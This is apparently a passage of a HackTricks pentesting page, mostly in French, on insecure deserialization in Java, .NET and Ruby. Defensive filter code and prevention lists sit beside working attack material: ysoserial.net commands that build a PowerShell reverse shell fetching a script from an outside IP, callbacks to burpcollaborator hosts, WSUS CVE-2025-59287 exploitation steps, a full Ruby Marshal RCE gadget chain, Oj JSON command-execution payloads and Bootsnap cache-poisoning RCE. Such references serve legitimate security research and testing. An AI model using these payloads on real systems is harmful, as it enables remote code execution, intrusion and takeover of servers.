Using a Java Agent for Security Enhancement offre une solution de secours lorsque la modification du code n’est pas possible. Cette méthode s’applique principalement pour blacklisting harmful classes, en utilisant un paramètre JVM :
-javaagent:name-of-agent.jar
Il fournit un moyen de sécuriser la désérialisation de manière dynamique, idéal pour les environnements où des modifications de code immédiates sont impraticables.
Check and example in rO0 by Contrast Security
Implémentation des filtres de sérialisation : Java 9 a introduit les filtres de sérialisation via l’interface ObjectInputFilter, offrant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent satisfaire avant d’être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire du processus de désérialisation.
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s’applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple :
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Utiliser des bibliothèques externes pour renforcer la sécurité : Des bibliothèques telles que NotSoSerial, jdeserialize, et Kryo offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, comme le whitelist/blacklist des classes, l’analyse des objets sérialisés avant désérialisation, et la mise en œuvre de stratégies de sérialisation personnalisées.
- NotSoSerial intercepte les processus de désérialisation pour empêcher l’exécution de code non fiable.
- jdeserialize permet l’analyse d’objets Java sérialisés sans les désérialiser, aidant à identifier du contenu potentiellement malveillant.
- Kryo est un framework de sérialisation alternatif qui met l’accent sur la vitesse et l’efficacité, offrant des stratégies de sérialisation configurables pouvant améliorer la sécurité.
Références
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
Il existe plusieurs produits utilisant ce middleware pour envoyer des messages :
.png)
.png)
Exploitation
En pratique, il existe donc un grand nombre de services utilisant JMS de manière dangereuse. Par conséquent, si vous avez suffisamment de privilèges pour envoyer des messages à ces services (généralement des identifiants valides sont requis), vous pourriez être en mesure d’envoyer des objets sérialisés malveillants qui seront désérialisés par le consumer/subscriber.
Cela signifie que dans cette exploitation tous les clients qui vont consommer ce message seront infectés.
Il faut garder à l’esprit que même si un service est vulnérable (car il désérialise de façon non sécurisée une entrée utilisateur), il faut quand même trouver des gadgets valides pour exploiter la vulnérabilité.
L’outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets sérialisés malveillants utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l’un des gadgets utilisés est présent dans l’application vulnérable.
Références
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux rencontrés en Java, où des gadgets sont exploités pour exécuter du code spécifique pendant la désérialisation d’un objet.
Fingerprint
WhiteBox
Le code source doit être inspecté pour des occurrences de :
TypeNameHandlingJavaScriptTypeResolver
L’attention doit se porter sur les serializers qui permettent que le type soit déterminé par une variable sous le contrôle de l’utilisateur.
BlackBox
La recherche doit cibler la chaîne encodée Base64 AAEAAAD///// ou tout motif similaire susceptible d’être désérialisé côté serveur, donnant le contrôle sur le type à désérialiser. Cela peut inclure, sans s’y limiter, des structures JSON ou XML contenant TypeObject ou $type.
ysoserial.net
Dans ce cas, vous pouvez utiliser l’outil ysoserial.net afin de créer les exploits de désérialisation. Une fois le dépôt git téléchargé, vous devez compiler l’outil en utilisant Visual Studio par exemple.
Si vous voulez apprendre comment ysoserial.net crée ses exploits, vous pouvez consulter cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.
Les principales options de ysoserial.net sont : --gadget, --formatter, --output et --plugin.
--gadgetutilisé pour indiquer le gadget à abuser (indiquer la classe/fonction qui sera exploitée pendant la désérialisation pour exécuter des commandes).--formatterutilisé pour indiquer la méthode de sérialisation de l’exploit (vous devez connaître quelle bibliothèque le back-end utilise pour désérialiser le payload et utiliser la même pour le sérialiser).--outpututilisé pour indiquer si vous voulez l’exploit en brut (raw) ou encodé en base64. Notez que ysoserial.net va encoder le payload en UTF-16LE (encodage utilisé par défaut sur Windows) donc si vous obtenez le raw et que vous l’encodez simplement depuis une console Linux, vous pourriez rencontrer des problèmes de compatibilité d’encodage empêchant l’exploit de fonctionner correctement (dans la box HTB JSON le payload a fonctionné en UTF-16LE et en ASCII mais cela ne garantit pas un fonctionnement systématique).--pluginysoserial.net supporte des plugins pour créer des exploits pour des frameworks spécifiques comme ViewState
More ysoserial.net parameters
--minifyfournira un payload plus petit (si possible)--raf -f Json.Net -c "anything"Cela indiquera tous les gadgets qui peuvent être utilisés avec un formatter fourni (Json.Netdans ce cas)--sf xmlvous pouvez indiquer un gadget (-g) et ysoserial.net recherchera des formatters contenant “xml” (insensible à la casse)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net possède également un paramètre très intéressant qui aide à mieux comprendre comment chaque exploit fonctionne : --test
Si vous indiquez ce paramètre ysoserial.net va essayer l’exploit localement, vous permettant de tester si votre payload fonctionnera correctement.
Ce paramètre est utile car si vous examinez le code vous trouverez des morceaux de code comme le suivant (extrait de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Cela signifie que, afin de tester l’exploit, le code appellera serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Dans le code précédent est vulnérable à l’exploit créé. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand quels morceaux de code sont vulnérables à l’exploit de désérialisation que ysoserial.net peut créer.
ViewState
Consultez cet article sur comment essayer d’exploiter le __ViewState parameter of .Net pour exécuter du code arbitraire. Si vous connaissez déjà les secrets utilisés par la machine victime, lisez cet article pour savoir comment exécuter du code.
Cas réel : WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Endpoints affectés :
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.- Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).
Exploitation minimale (chemin Reporting) :
- Générez un gadget .NET avec ysoserial.net (BinaryFormatter or SoapFormatter) et produisez la sortie en base64, par exemple:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Créer un SOAP pour
ReportEventBatchen y intégrant le gadget base64 et le POSTER vers/ReportingWebService.asmx. - Lorsqu’un administrateur ouvre la console WSUS, l’événement est désérialisé et le gadget se déclenche (RCE en tant que SYSTEM).
AuthorizationCookie / GetCookie()
- Un AuthorizationCookie forgé peut être accepté, déchiffré et transmis à un sink BinaryFormatter, permettant un pre‑auth RCE si accessible.
Paramètres du Public PoC (tecxx/CVE-2025-59287-WSUS) :
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
Voir Windows Local Privilege Escalation – WSUS
Prévention
Pour atténuer les risques associés à la désérialisation en .Net :
- Évitez de permettre aux flux de données de définir leurs types d’objet. Utilisez
DataContractSerializerouXmlSerializerquand c’est possible. - Pour
JSON.Net, définissezTypeNameHandlingsurNone:TypeNameHandling = TypeNameHandling.None - Évitez d’utiliser
JavaScriptSerializeravec unJavaScriptTypeResolver. - Limitez les types pouvant être désérialisés, en comprenant les risques inhérents aux types .Net, tels que
System.IO.FileInfo, qui peut modifier les propriétés des fichiers du serveur, menant potentiellement à des attaques par déni de service. - Soyez prudent avec les types ayant des propriétés risquées, comme
System.ComponentModel.DataAnnotations.ValidationExceptionavec sa propriétéValue, qui peut être exploitée. - Contrôlez de manière sécurisée l’instanciation des types pour empêcher les attaquants d’influencer le processus de désérialisation, rendant même
DataContractSerializerouXmlSerializervulnérables. - Mettez en place des contrôles de liste blanche en utilisant un
SerializationBinderpersonnalisé pourBinaryFormatteretJSON.Net. - Restez informé sur les gadgets de désérialisation connus comme non sécurisés dans .Net et assurez-vous que les désérialiseurs n’instancient pas de tels types.
- Isolez le code potentiellement risqué du code ayant accès à Internet afin d’éviter d’exposer des gadgets connus, comme
System.Windows.Data.ObjectDataProviderdans les applications WPF, à des sources de données non fiables.
Références
- Java and .Net JSON deserialization article : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, présentation : https://www.youtube.com/watch?v=oUAeWhW5b8c et diapositives : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
En Ruby, la sérialisation est assurée par deux méthodes au sein de la bibliothèque marshal. La première méthode, connue sous le nom de dump, est utilisée pour transformer un objet en un flux d’octets. Ce processus est appelé sérialisation. Inversement, la seconde méthode, load, sert à retransformer un flux d’octets en objet, un processus appelé désérialisation.
Pour sécuriser les objets sérialisés, Ruby utilise HMAC (Hash-Based Message Authentication Code), assurant l’intégrité et l’authenticité des données. La clé utilisée à cet effet est stockée dans l’un des emplacements possibles suivants :
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Autre chaîne RCE pour exploiter Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
Comme expliqué dans this vulnerability report, si une entrée utilisateur non filtrée atteint la méthode .send() d’un objet ruby, cette méthode permet d’invoquer n’importe quelle autre méthode de l’objet avec n’importe quels paramètres.
Par exemple, appeler eval puis du code ruby comme second paramètre permettra d’exécuter du code arbitraire:
<Object>.send('eval', '<user input with Ruby code>') == RCE
De plus, si un seul paramètre de .send() est contrôlé par un attaquant, comme mentionné dans le writeup précédent, il est possible d’appeler n’importe quelle méthode de l’objet qui n’a pas besoin d’arguments ou dont les arguments ont des valeurs par défaut.
Pour cela, il est possible d’énumérer toutes les méthodes de l’objet pour trouver des méthodes intéressantes qui répondent à ces exigences.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Consultez comment il pourrait être possible de pollute a Ruby class and abuse it in here.
Ruby _json pollution
Quand on envoie dans un body certaines valeurs non hashabled comme un array, elles seront ajoutées dans une nouvelle clé appelée _json. Cependant, il est possible pour un attaquant de définir aussi dans le body une valeur _json avec les valeurs arbitraires qu’il souhaite. Ensuite, si le backend, par exemple, vérifie la véracité d’un paramètre mais utilise aussi le paramètre _json pour effectuer une action, un authorisation bypass pourrait être effectué.
Check more information in the Ruby _json pollution page.
Other libraries
Cette technique provient from this blog post.
There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it’s unserialized (function to abuse to get RCE basically):
| Library | Input data | Kick-off method inside class |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Exemple basique:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Dans le cas d’une tentative d’abus d’Oj, il a été possible de trouver une classe de gadget qui, à l’intérieur de sa fonction hash, appelle to_s, qui appelle spec, qui appelle fetch_path — ce qui a permis de la faire récupérer une URL aléatoire, offrant un excellent détecteur de ce type de vulnérabilités de désérialisation non assainies.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
De plus, il a été constaté qu’avec la technique précédente un dossier est également créé dans le système, ce qui est nécessaire pour abuser d’un autre gadget afin de transformer cela en un RCE complet avec quelque chose comme :
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Consultez plus de détails dans le article original.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete post original complet ici).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
La fonctionnalité d’upload de fichiers de l’app Rails permet à un attaquant d’écrire des fichiers de façon arbitraire. Bien que l’app s’exécute avec des restrictions (seuls certains répertoires comme tmp sont inscriptibles en raison de l’utilisateur non-root de Docker), cela permet néanmoins d’écrire dans le répertoire de cache de Bootsnap (typiquement sous tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Comprendre le mécanisme de cache de Bootsnap
Bootsnap accélère les temps de boot de Rails en mettant en cache du code Ruby compilé, des fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un en-tête de cache key (avec des champs comme Ruby version, file size, mtime, compile options, etc.) suivi par le code compilé. Cet en-tête est utilisé pour valider le cache lors du démarrage de l’app.
- Gather File Metadata
Collecter les métadonnées du fichier
L’attaquant sélectionne d’abord un fichier cible susceptible d’être chargé pendant le démarrage de Rails (par exemple, set.rb de la standard library de Ruby). En exécutant du code Ruby dans le conteneur, il extrait des métadonnées critiques (comme RUBY_VERSION, RUBY_REVISION, size, mtime, et compile_option). Ces données sont essentielles pour fabriquer une cache key valide.
- Compute the Cache File Path
Calculer le chemin du fichier de cache
En répliquant le mécanisme de hash FNV-1a 64-bit de Bootsnap, on détermine le chemin correct du fichier de cache. Cette étape garantit que le fichier de cache malveillant est placé exactement où Bootsnap l’attend (par ex., sous tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Forger le fichier de cache malveillant
L’attaquant prépare une payload qui :
- Exécute des arbitrary commands (par exemple, exécuter id pour afficher les infos du processus).
- Supprime le cache malveillant après exécution pour éviter une exploitation récursive.
- Charge le fichier original (par ex., set.rb) pour éviter de faire crasher l’application.
Cette payload est compilée en code Ruby binaire et concaténée avec un en-tête de cache key soigneusement construit (en utilisant les métadonnées précédemment recueillies et le numéro de version correct pour Bootsnap).
- Overwrite and Trigger Execution
Écraser et déclencher l’exécution
En utilisant la vulnérabilité d’arbitrary file write, l’attaquant écrit le fichier de cache fabriqué à l’emplacement calculé. Ensuite, il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, qui est surveillé par Puma). Lors du redémarrage, lorsque Rails require le fichier ciblé, le fichier de cache malveillant est chargé, résultant en remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Considérez tout chemin où des octets non fiables atteignent Marshal.load/marshal_load comme un sink RCE. Marshal reconstruit des graphes d’objets arbitraires et déclenche des callbacks de librairies/gems pendant la matérialisation.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Classes de gadgets courantes observées dans des chaînes réelles :
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Marqueur d’effet secondaire typique intégré dans les payloads (exécuté lors de l’unmarshal) :
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Où cela apparaît dans des applications réelles :
- Les magasins de cache et de session Rails utilisant historiquement Marshal
- Les backends de jobs en arrière-plan et les magasins d’objets basés sur des fichiers
- Toute persistance ou transport personnalisé de blobs d’objets binaires
Découverte industrialisée de gadgets :
- Grep pour les constructeurs,
hash,_load,init_with, ou les méthodes à effets de bord invoquées pendant unmarshal - Utiliser les requêtes CodeQL Ruby sur unsafe deserialization pour tracer sources → sinks et révéler des gadgets
- Valider avec des PoC publiques multi-format (JSON/XML/YAML/Marshal)
Références
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

